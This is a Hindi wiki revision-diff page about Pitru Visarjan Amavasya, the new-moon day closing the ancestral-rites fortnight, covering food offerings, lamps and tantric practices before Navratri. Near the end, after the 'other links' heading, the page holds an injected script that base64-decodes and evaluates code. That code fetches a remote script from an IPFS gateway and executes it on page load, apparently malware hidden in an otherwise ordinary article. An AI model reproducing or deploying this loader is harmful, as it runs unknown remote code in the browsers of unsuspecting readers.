"पितृ विसर्जन अमावस्या" के अवतरणों में अंतर  

[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
छो (1 अवतरण)
पंक्ति १: पंक्ति १:
 
 
==पितृ विसर्जन अमावस्या==
 
==पितृ विसर्जन अमावस्या==
 
[[आश्विन मास]] के कृष्ण पक्ष की अमावस्या को पितृ विसर्जन अमावस्या कहा जाता है। इस दिन पितर लोक से आए हुए पित्तीश्वर महालय भोजन में तृप्त हो अपने लोक को जाते हैं। इस दिन ब्राह्मण भोजन तथा दानादि से पितर तृप्त होते हैं। जाते समय वे अपने पुत्र, पौत्रों पर आशीर्वाद रूपी अमृत की वर्षा करते हैं।
 
[[आश्विन मास]] के कृष्ण पक्ष की अमावस्या को पितृ विसर्जन अमावस्या कहा जाता है। इस दिन पितर लोक से आए हुए पित्तीश्वर महालय भोजन में तृप्त हो अपने लोक को जाते हैं। इस दिन ब्राह्मण भोजन तथा दानादि से पितर तृप्त होते हैं। जाते समय वे अपने पुत्र, पौत्रों पर आशीर्वाद रूपी अमृत की वर्षा करते हैं।
पंक्ति ६: पंक्ति ५:
  
 
इस अमावस्या का श्राद्धकर्म और तान्त्रिक दृष्टिकोण से बहुत अधिक महत्व है। भूले-भटके पितरों के नाम का ब्राह्मण तो इस दिन जिमाया ही जाता है, साथ ही यदि किसी कारणवश किसी तिथि विशेष को श्राद्धकर्म नहीं हो पाता, तब उन पितरों का श्राद्ध भी इस दिन किया जा सकता है। इस अमावस्या के दूसरे दिन से शारदीय नवरात्र प्रारम्भ हो जाते हैं। यही कारण है कि मां [[दुर्गा]] के प्रचण्ड रूपों के आराधक और तंत्र साधना करने वाले इस अमावस्या की रात्रि को विशिष्ट तान्त्रिक साधनाएं भी करते हैं। यही कारण है कि आश्विर मास की अमावस्या को पितृ-विजर्जन अमावस्या भी कहा जाता है।  
 
इस अमावस्या का श्राद्धकर्म और तान्त्रिक दृष्टिकोण से बहुत अधिक महत्व है। भूले-भटके पितरों के नाम का ब्राह्मण तो इस दिन जिमाया ही जाता है, साथ ही यदि किसी कारणवश किसी तिथि विशेष को श्राद्धकर्म नहीं हो पाता, तब उन पितरों का श्राद्ध भी इस दिन किया जा सकता है। इस अमावस्या के दूसरे दिन से शारदीय नवरात्र प्रारम्भ हो जाते हैं। यही कारण है कि मां [[दुर्गा]] के प्रचण्ड रूपों के आराधक और तंत्र साधना करने वाले इस अमावस्या की रात्रि को विशिष्ट तान्त्रिक साधनाएं भी करते हैं। यही कारण है कि आश्विर मास की अमावस्या को पितृ-विजर्जन अमावस्या भी कहा जाता है।  
 +
==अन्य लिंक==
 
[[Category:पर्व और त्योहार]]
 
[[Category:पर्व और त्योहार]]
 
[[Category:संस्कृति कोश]]
 
[[Category:संस्कृति कोश]]
 
{{साँचा:पर्व और त्योहार}}
 
{{साँचा:पर्व और त्योहार}}
 
__INDEX__
 
__INDEX__

०८:०२, २७ मार्च २०१० का अवतरण

पितृ विसर्जन अमावस्या

आश्विन मास के कृष्ण पक्ष की अमावस्या को पितृ विसर्जन अमावस्या कहा जाता है। इस दिन पितर लोक से आए हुए पित्तीश्वर महालय भोजन में तृप्त हो अपने लोक को जाते हैं। इस दिन ब्राह्मण भोजन तथा दानादि से पितर तृप्त होते हैं। जाते समय वे अपने पुत्र, पौत्रों पर आशीर्वाद रूपी अमृत की वर्षा करते हैं।

इस दिन स्त्रियां सन्ध्या समय दीपक जलाने की बेला में पूड़ी, मिष्ठान्न अपने दरवाजों पर रखती हैं। जिसका तात्पर्य यह होता है कि पितर जाते समय भूखे न जाएं। इसी प्रकार दीपक जलाकर पितरों का मार्ग आलोकित किया जाता है। श्राद्ध पक्ष अमावस्या को ही पूर्ण हो जाते हैं।

इस अमावस्या का श्राद्धकर्म और तान्त्रिक दृष्टिकोण से बहुत अधिक महत्व है। भूले-भटके पितरों के नाम का ब्राह्मण तो इस दिन जिमाया ही जाता है, साथ ही यदि किसी कारणवश किसी तिथि विशेष को श्राद्धकर्म नहीं हो पाता, तब उन पितरों का श्राद्ध भी इस दिन किया जा सकता है। इस अमावस्या के दूसरे दिन से शारदीय नवरात्र प्रारम्भ हो जाते हैं। यही कारण है कि मां दुर्गा के प्रचण्ड रूपों के आराधक और तंत्र साधना करने वाले इस अमावस्या की रात्रि को विशिष्ट तान्त्रिक साधनाएं भी करते हैं। यही कारण है कि आश्विर मास की अमावस्या को पितृ-विजर्जन अमावस्या भी कहा जाता है।

अन्य लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=पितृ_विसर्जन_अमावस्या&oldid=6779" से लिया गया